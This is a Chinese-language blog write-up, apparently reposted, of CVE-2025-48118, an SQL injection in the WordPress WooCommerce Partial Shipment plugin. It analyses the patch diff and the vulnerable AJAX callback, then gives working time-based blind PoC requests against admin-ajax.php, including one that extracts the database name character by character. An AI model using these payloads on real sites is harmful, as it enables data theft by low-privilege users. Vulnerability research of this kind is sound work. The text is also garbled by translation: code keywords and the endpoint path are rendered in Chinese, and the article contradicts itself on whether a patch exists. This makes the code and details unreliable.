文章总结： 文档分析了WordPress插件WoocommercePartialShipment的CVE-2025-48118SQL注入漏洞。由于函数未对POST请求中的order_id参数进行清理直接拼接SQL语句导致低权限订阅者可利用该漏洞。文章深入分析了漏洞调用链、补丁差异及利用原理提供了基于时间盲注的检测与数据提取PoC并建议开发者使用wpdb->prepare()修复。 综合评分： 88 文章分类： 漏洞分析,WEB安全,漏洞POC

CVE-2025-48118 SQL注入

原创

匆匆过客 匆匆过客

天启攻防实验室

2026年2月11日 14:45 广东

更多实战：

该漏洞存在于 Woocommerce Partial Shipment 插件的 3.3 版本之前。 它允许攻击者直接与数据库交互，可能导致数据窃取和其他攻击。

·CVE 编号: CVE-2025-48118

·产品: WordPress Woocommerce Partial Shipment 插件

·漏洞类型: SQL注入

·受影响版本: <= 3.2

·CVSS 严重性: 高 (8.5)

·所需权限: 订阅者

要求

·本地 WordPress 与调试: Local WordPress and 调试.

·Woocommerce Partial Shipment: v3.2 (存在漏洞) 和 v3.3 (已修复)

·差异对比工具: meld 或任何用于查看版本间差异的比较工具

·已激活的 WooCommerce 插件: 在安装 Woocommerce Partial Shipment 插件 之前必须 激活，因为该插件使用了多个 WooCommerce 函数。

分析

根本原因在于直接将 POST 请求数据注入到 SQL 查询中，而没有进行适当的清理或验证。

补丁差异分析

使用任何差异对比工具来比较存在漏洞和已修复的版本。 在 wc-partial-shipment/woocommerce-partial-shipment.php 文件中出现了显著差异。

然而，由于开发者进行了许多更改，定位存在漏洞的代码行可能很困难。

在 WordPress 中，要发生 SQL 注入，应用程序必须使用全局变量 $wpdb 与数据库交互。 在 wc-partial-shipment/woocommerce-partial-shipment.php 文件中搜索此关键字有助于识别可能的漏洞点。

get_shipment_id 和 get_wxp_shipment_data 是 WXP_Partial_Shipment 类中的两个函数，它们直接将用户输入插入到 SQL 查询中而没有进行验证，使其容易受到 SQL 注入攻击。

补丁使用 $wpdb->prepare() 来安全地构建 SQL 查询，而不是使用用户输入进行 直接的字符串拼接。 这确保了所有值在插入 SQL 查询之前都经过了 适当的转义，从而有效地缓解了 SQL 注入风险。

工作原理

get_shipment_id 和 get_wxp_shipment_data 都由同一个类中的 wxp_order_set_shipped 函数调用。

函数 wxp_order_set_shipped(){     $order_id=isset($_POST[‘order_id’]) ?$_POST[‘order_id’] :0;     // other logic

    $wxp_shipment=$this->get_wxp_shipment_data($order_id);     if(isset($_POST[‘order_id’]) &&$_POST[‘order_id’]){         global$wpdb;         $shipment_id=$this->get_shipment_id($_POST[‘order_id’]);         if(!$shipment_id){             $data= 数组(                 ‘order_id’ =>$order_id,                 ‘shipment_id’ =>1,                 ‘shipment_url’=>”,                 ‘shipment_num’=>”,                 ‘shipment_date’=>current_time(‘timestamp’,0),             );             $wpdb->insert($wpdb->prefix.”partial_shipment”,$data,数组(‘%d’,’%d’,’%s’,’%s’,’%s’));             $shipment_id=$wpdb->insert_id;         }     // other logic     }

    echojson_encode(数组(‘order_id’=>$order_id,’status’=>$status_key));     exit(); }

👉 The order_id 参数 is taken directly from the POST 请求, making it user-controlled and allowing it to be passed into 存在漏洞 SQL queries within get_shipment_id and get_wxp_shipment_data.

To find where wxp_order_set_shipped 被调用时，搜索关键字 wxp_order_set_shipped inside the 插件 directory.

wxp_order_set_shipped is registered in the 类 constructor as a 回调函数 for the wp_ajax_wxp_order_set_shipped 钩子，这意味着它可以由经过身份验证的用户触发。

👉 访问 /wp-管理员/管理员-AJAX.php with the parameters:

action=wxp_order_set_shipped&order_id=payload_here

will trigger the following:

·The 回调函数 wxp_order_set_shipped executes.

·order_id 直接从请求中获取并插入到 SQL 查询中。

·由于恶意有效载荷在两个独立的 SQL 调用中使用，该查询会执行两次。

漏洞利用

检测 SQL 注入

发送包含 SQL 注入有效载荷的 POST 请求:

POST /wp-管理员/管理员-AJAX.php HTTP/1.1 Host: localhost … Cookie: cookie_here

action=wxp_order_set_shipped&order_id=(SELECT 1 FROM (SELECT SLEEP(5))a)

这将导致以下查询:

SELECTidas ship_id FROM wp_partial_shipment WHERE order_id=(SELECT1FROM (SELECT SLEEP(5))a)

因为查询执行了两次，响应时间会加倍。

这里使用了 FROM 子句中的子查询，因为 MySQL 将其视为临时表。 子查询执行一次以创建临时表，然后主查询运行。 这确保了 SLEEP 函数只运行一次，而不是在多次比较中被重复执行。

例如，使用以下有效载荷:

POST /wp-管理员/管理员-AJAX.php HTTP/1.1 Host: localhost … Cookie: cookie_here

action=wxp_order_set_shipped&order_id=(SELECT SLEEP(5))

响应时间会呈指数级增长。

提取数据库名称的第一个字母

数据提取的第一步是确认 数据库名称 的至少一个字符——一旦获取到，其余部分就可以轻松导出。

发送包含以下 SQL 注入有效载荷 的请求:

POST /wp-管理员/管理员-AJAX.php HTTP/1.1 Host: localhost … Cookie: cookie_here

action=wxp_order_set_shipped&order_id=(SELECT 1 FROM (SELECT IF(SUBSTRING(SCHEMA(),1,1)=0x77, SLEEP(5), 1))a)

这里，SUBSTRING() 提取 数据库名称 的第一个字母，IF() triggers SLEEP(5) if it equals 0x77 (‘w’).

Hex encoding (0x77) is used for ‘w’ because the order_id 参数作为 POST 值，被 magic quotes 和 sanitize_text_field in WordPress.

👉 Based on the delayed 响应, we confirm that the first character is ‘w’。

结论

WordPress Woocommerce Partial Shipment 插件（3.3 版本之前）中的 CVE-2025-48118 漏洞源于将未经清理的用户输入直接插入到 SQL 查询中，导致了 SQL 注入 漏洞。

截至撰写本文时，尚未发布官方补丁。

关键要点:

·始终验证和清理用户输入。

·在 WordPress 中进行数据库操作时使用 $wpdb->prepare() 来防止 SQL 注入。

·保持插件更新并进行定期安全审计，以避免成为攻击目标。

加内部技术交流群：

#

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：天启攻防实验室 匆匆过客 匆匆过客《CVE-2025-48118 SQL注入》